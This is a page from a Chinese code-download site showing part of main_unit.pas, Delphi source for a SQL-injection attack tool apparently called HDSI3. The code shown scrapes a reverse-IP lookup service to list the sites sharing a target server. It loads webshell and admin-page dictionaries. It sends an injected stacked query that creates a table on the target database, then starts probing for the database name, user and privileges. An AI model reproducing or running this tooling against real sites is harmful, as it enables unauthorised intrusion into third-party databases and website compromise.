⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 main_unit.pas

📁 sql inject HDSI3--delphi.rar
💻 PAS
📖 第 1 页 / 共 5 页
字号:
    if ShowHeaders then TempStream.Write(Buffer, BufSize);
    if Assigned(hFile) then
    try
      with TempStream do
      try
        while InternetReadFile(hFile, @Buffer, BufSize, BufRead) and (BufRead > 0) do
          Write(Buffer, BufRead);
        Result := DataString;
      finally
        Free;
      end;
    finally
      InternetCloseHandle(hFile);
    end;
  finally
    InternetCloseHandle(hinet);
  end;
end;


//=====================分辨率模式===================
function TForm_main.MyScreenMode(x,y:word):Boolean;
  var
   lpDevMode:TDeviceMode;
  begin
    Result:=EnumDisplaySettings(nil,0,lpDevMode);
    if Result then
       begin
        lpDevMode.dmFields:=dm_pelswidth or dm_pelsheight;
        lpdevMode.dmPelsWidth:=x;
        lpdevMode.dmPelsHeight:=y;
        Result:=changedisplaysettings(lpdevmode,0)=disp_change_successful;
        end;

  end;
//=================== 得到域名的总数量 ===================
procedure GetSiteSum;
const
SiteSUMsPostxt = '</b> - IP hosts <b>';    //HTML代码中域名数量起始位置的特征码
SiteSUMePostxt = '</b> Total';             //HTML代码中域名数量终止位置的特征码
var
SitesPos,SiteePos : integer ;  //记录"</b> - IP hosts <b>" 和 "</b> Total" 的位置
SiteLen,SiteSum : integer;     //SiteLen记录记录要截取的长度
MemoStr,SiteSumText : String;  //SiteSumText保存域名的数量
begin
  SitesPos:=Pos(SiteSUMsPostxt,HTMLCode)+Length(SiteSUMsPostxt); //得到 </b> - IP hosts <b> 的位置
  SiteePos:=Pos(SiteSUMePostxt,HTMLCode);                        //得到 </b> Total 的位置
  SiteLen:=SiteePos - SitesPos;                                  //起始位置 - 终止位置 = Copy的长度
  SiteSumText:=Copy(HTMLCode,SitesPos,SiteLen);                  //将2特征码之间的字符串复制到SiteSumText
  Form_main.Label25.Caption:='共有站点: '+SiteSumText;                //将域名数量显示到标签上

  if StrToInt(SiteSumText) > 50 then Form_main.BtDown.Enabled:=True;   //往上翻时
  if ((StrToInt(SiteSumText) div (RecQueryPage * 50))) <= 0 then
  Form_main.BtDown.Enabled:=False; //往下翻时
end;

//==================== 分解出HTMLCode中域名字符串 =====================
procedure GetALLSite;
const
GetSitesPosText ='.">';       //起始位置的特征码
GetSiteePosText ='.</a>';     //终止位置的特征码
var
SitesPos,SiteePos,SiteTextLen : integer;  //记录以上常量的起始位置和终止位置
begin
try
 Form_main.SiteList.Clear;
  {当Pos特征码GetSitesPosText后返回的值大于0时循环剪切出GetSitesPosText与
  GetSiteePosText之间的域名,当Pos返回值小于0时,退出该循环}
  while Pos(GetSitesPosText,HTMLCode) > 0 do
    begin
      SitesPos:=Pos(GetSitesPosText,HTMLCode)+Length(GetSitesPosText);
      SiteePos:=Pos(GetSiteePosText,HTMLCode);
      SiteTextLen:=SiteePos - SitesPos;
      Form_main.SiteList.Items.Add(LowerCase(Copy(HTMLCode,SitesPos,SiteTextLen)));
      //将GetSitesPosText替换为空,继续循环往下查找
      HTMLCode := StringReplace(HTMLCode, GetSitesPosText, '', [rfIgnoreCase]);
      //将GetSiteePosText替换为空,继续循环往下查找
      HTMLCode := StringReplace(HTMLCode, GetSiteePosText, '', [rfIgnoreCase]);
    end;
  Form_main.Label23.Caption:=Format('本页显示: %d - %d',[1,Form_main.SiteList.Items.Count]);
  Form_main.BtUp.Enabled:=True;
 Except //出错,不做处理
 End;
end;

//================== 获取HTML代码及执行查询的过程函数 ===================
procedure GetHTMLCode;
const
GetSiteaText1 = 'http://whois.webhosting.info/';
GetSiteaText2 ='?pi=';
GetSiteaText3 ='&ob=SLD&oo=ASC';
SiteNULLText = 'Details';             //没有绑定国际域名的特征码
ValiDateText = 'Enter the security';  //提示输入验证码的特征码
var
RecordTime : TTime;                   //记录开始时间
GetSiteaText : String;                //将GetSiteaText1..3 组合起来查询
SiteNULLTextPos : integer;            //没有绑定国际域名的特征码的位置
ValiDateTextPos : integer;            //提示输入验证码的特征码的位置
IdHTTP1:TIDHTTP;
begin
try
  try
  IdHTTP1:=TIDHTTP.Create(nil);
  RecordTime:=Now;
  Form_main.btQuery.Enabled:=False;
  GetSiteaText:=GetSiteaText1+Form_main.IPaddress.Text+GetSiteaText2+IntToStr(RecQueryPage)+GetSiteaText3;
  HTMLCode:=IdHTTP1.Get(GetSiteaText); //将获取到的代码保存到HTMLCode中
  Form_main.Label24.Caption:='当前页面: '+inttostr(RecQueryPage);

 //===================== 判断是否需要输入验证码 ========================
  ValiDateTextPos:=Pos(ValiDateText,HTMLCode);
  if ValiDateTextPos > 1 then
    begin
      application.MessageBox('提示:暂时无法查询,请手动输入验证码!'+#10#13+
                          '提交完验证码后再查询!','请输入验证码',48);
      Form_main.Web.Navigate('http://whois.webhosting.info/'+Form_main.IPaddress.Text);
      Form_main.Ani.Stop;
      Form_main.Ani.Visible:=False;
      Form_main.Label26.Caption:='';
      Form_main.btQuery.Enabled:=True;
      Form_main.BtUp.Enabled:=True;
      Form_main.BtDown.Enabled:=True;
      Exit;
    end;//-------------------------- END -------------------------------

  //======================= 判断IP上是否有绑定域名 =====================
  SiteNULLTextPos:=Pos(SiteNULLText,HTMLCode);
  if SiteNULLTextPos > 1 then
    begin
      application.MessageBox('提示:该IP地址并没有绑定任何域名!'+#10#13+
                            '请尝试查询其他IP地址!','提示',32);
      Form_main.Ani.Stop;
      Form_main.Ani.Visible:=False;
      Form_main.Label6.Caption:='';
      Form_main.btQuery.Enabled:=True;
      Form_main.BtUp.Enabled:=True;
      Form_main.BtDown.Enabled:=True;
      Exit;
    end;
//-------------------------- END -------------------------------
//=========================== 查询部分 ===============================
  Form_main.Ani.Stop;
  Form_main.Ani.Visible:=False;
  Form_main.Label26.Caption:='';
  //temp1
  {
  Form_main.StatusBar1.Panels[0].Text:='查询完毕!';
  Form_main.StatusBar1.Panels[2].Text:='查询耗时:'+TimeToStr(Now-RecordTime);
  }
  Form_main.btQuery.Enabled:=True;
  GetSiteSum;                 //获取完毕HTML代码后,调用获取域名总数的过程
  GetALLSite;                 //获取完毕HTML代码后,调用分解所有域名的过程
  if RecQueryPage=1 then Form_main.BtUp.Enabled:=False;
  if RecQueryPage>1 then Form_main.BtUp.Enabled:=True;
  finally
    IdHTTP1.Free;
  end;
except
end;
end;
//------------------------------- END --------------------------------
//========================自定义域名转IP的过程 =========================
procedure GetIPaddress;
begin
  if Form_main.SiteName.Text = '' then               //判断是否有输入网址
    begin
      //temp1
      //Form_main.Statusbar1.Panels[0].Text:='请先输入域名!';
      Exit;                                     //如果没有输入域名,提示 - 退出
    end;
   Form_main.NMHTTP1.Host:=Form_main.SiteName.Text;     //需要解析的主机
   Form_main.NMHTTP1.Port:=80;                      //设置端口
   Form_main.btPing.Enabled:=False;
   Form_main.SiteName.Enabled:=False;
  try
   Form_main.NMHTTP1.Options(Form_main.SiteName.Text);
  except
    //temp1
   //Form_main.Statusbar1.Panels[0].Text:='请检测域名是否输入正确,或网络连接是否正常!';
   Form_main.SiteName.Enabled:=True;
   Form_main.btPing.Enabled:=True;
   Form_main.IPaddress.Text:='';
  end;
   Form_main.NMHTTP1.Disconnect;                   //断开
end;
//----------------------------- END -------------------------------


procedure TForm_main.FormCreate(Sender: TObject);
var
strTempPost:string;
inifile:TIniFile;
i:integer;
item:string;
begin
  //设置关键字编辑框
  form_main.CheckBt.Checked:=true;
  if CheckBox_keyword.Checked=true then
     Edit_keyword.Enabled:=true
  else
      Edit_keyword.Enabled:=false;

  TimeOut:=30000;
  //strTempPost:=GetPostCode('link.asp','test','testname','testpwd','1',HttpCli1);
  stop_table:=false;
  stop_column:=false;
  stop_record:=false;
  Form_main.stop_check:=false;
  stop_cmd:=true;
  // webshell字典管理
   self.DBGrid1_result.Columns[0].Width:=50;
   self.DBGrid1_result.Columns[1].Width:=350;
   self.DBGrid1_result.Columns[2].Width:=120;
   self.DBGrid1_result.Columns[3].Width:=120;
  inifile:=TIniFile.Create(ChangeFileExt(Application.ExeName,'.ini'));
  for i:=1 to 10000  do
  begin
     item:=inifile.ReadString('site'+inttostr(i-1),'site'+inttostr(i-1),'');
     if item='' then
        break;
     suiComboBox2_url.Items.Add(item);
  end;

  inifile:=TIniFile.Create(ExtractFileDir(Application.ExeName)+'/HDSI2005PHP.ini');
  for i:=1 to 10000  do
  begin
     item:=inifile.ReadString('site'+inttostr(i-1),'site'+inttostr(i-1),'');
     if item='' then
        break;
     ComboBox_URL.Items.Add(item);
  end;
  suiComboBox2_url.Text:='';
  suiEdit1_urlin.Text:='';
  suiComboBox2_url.Text:='';
  Form_main.ScanURL.Text:='';
  Form_main.SelectURL.Text:='';
  Form_main.txtCmd.Text:='';
  //temp1
  {Form_main.txtUrlt.Text:='';
  Form_main.txtName.Text:='';
  Form_main.txtPws.Text:='';
  Form_main.txtMen.Text:='';  }
  MemoResult.Text:='';
  Form_main.door_check.Checked:=false;
  //suiThemeManager1.UIStyle := WinXP;

  //CLBox.Checked[0]:=True;                     //自动选上需要探测的页面1
  //CLBox.Checked[1]:=True;                     //自动选上需要探测的页面2
  //CLBox.Checked[2]:=True;
  //temp1                    //自动选上需要探测的页面3
  {ProgressBar1.Parent:=StatusBar1; }
  ProgressBar.Top:=2;
  if RecQueryPage = 1 then
  Form_main.BtUp.Enabled:=False
  else BtUp.Enabled:=true;
  //旁注代码————————————————————

  try
    CLBox.Items.Text := SearchUP;
    Form_main.CLBox.Checked[0] := True;
    Form_main.CLBox.Checked[1] := True;
    Form_main.CLBox.Checked[2] := True;
    TempSearch := SearchUP; //TempSearch得到earchUP返回的值
  except
    application.MessageBox('错误提示:没有检测到[ADMIN_LOGIN]字段,程序将在本目录' + #13 + '自动生成一个新的SearchPage.txt覆盖原来的!', '提示', 64);
    CreateTxt;
  end;

  if RecQueryPage = 1 then
    BtUp.Enabled := False
  else BtUp.Enabled := true;
  Web.Navigate('about:blank');
  Application.OnException := ProException;
  FileBox1 := TFileListBox.Create(nil);
  FileBox1.Visible := false;
  FileBox1.Parent := Self;
  FileBox1.Mask := '*.MDB';
  //————————————————————————

end;

procedure TForm_main.suiButton_checkClick(Sender: TObject);
var
  str_url:string;
  list:TStringList;
  i:integer;
  sContent:string;
  ss:string;
  CanMultObj:TThreadCanMult;
  UserPowerObj:TThreadUserPower;
  DBNameObj:TThreadErrorDBName;
  DBUserObj:TThreadErrorDBUser;
  keyword:string;//关键字
  //ObjList:TList;
begin
 try

  ThdObjCompleteCount:=0;
  //检测注入地址
  if (pos('?',suiComboBox2_url.Text)=0)
  or (pos('=',suiComboBox2_url.Text)=0)
  or (pos('.',suiComboBox2_url.Text)=0)
  or (pos('/',suiComboBox2_url.Text)=0)
  or (suiComboBox2_url.Text='')then
  begin
      Application.MessageBox(pchar('注入地址无效,请从新添入注入地址'),pchar('警告'),mb_ok);
      exit;
  end;

  Button_update.Enabled:=false;
  //停止下面表和列,数据的猜解
  Form_main.stop_table:=true;
  Form_main.stop_column:=true;
  Form_main.stop_record:=true;
  //请空表,列,记录list中的记录
  ListView_table.Items.Clear;
  ListView_column.Items.Clear;
  ListView_record.Items.Clear;

  //获取URL
  str_url:=trim(suiComboBox2_url.Text);
  //如果没有注入地址,退出
  suiEdit_multi.Text:='';
  suiEdit_user.Text:='';
  suiEdit_sub.Text:='';
  suiEdit_dbname.Text:='';
  suiEdit_power.Text:='';
  suiRadioButton_methord1.Checked:=false;
  suiRadioButton_methord2.Checked:=false;
  suiRadioButton_methord3.Checked:=false;
  suiRadioButton_report.Checked:=false;
  suiRadioButton_notReport.Checked:=false;
  suiRadioButton_access.Checked:=false;
  Form_main.stop_check:=false;
  cjdatabase_unit.Inject_methord:=0;
  cjdatabase_unit.Database_methord:=0;


  if Form_main.stop_check=true then
    begin
      Application.MessageBox(pchar('检测停止'),pchar('提示'),mb_ok);
      exit;
    end;
  //创建入侵记录表
  define_unit.GetURLCode(str_url+';create%20table%20t_jiaozhu(jiaozhu%20varchar(200))');

  //如果使用关键字,就进行关键字检测
  keyword:=trim(Edit_keyword.Text);
  if CheckBox_keyword.Checked then
  begin
      CJdatabase_unit.Inject_methord:=cjdatabase_unit.Inject_method_ByKeyWord(str_url,keyword);
  end
  else
   begin
      //判断注入方式,报错方式
      CJdatabase_unit.Inject_methord:=CJdatabase_unit.IfErrorReport(str_url);
      case  CJdatabase_unit.Inject_methord of
      1:
        begin
            Cjdatabase_unit.IferrReport:=true;
            Cjdatabase_unit.Database_methord:=1;
        end;
      2:
        begin
          Cjdatabase_unit.IferrReport:=true;
          Cjdatabase_unit.Database_methord:=1;
        end;
      3:
        begin
          Cjdatabase_unit.IferrReport:=true;
          Cjdatabase_unit.Database_methord:=1;
        end;
      end;
   end;//end of else


⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -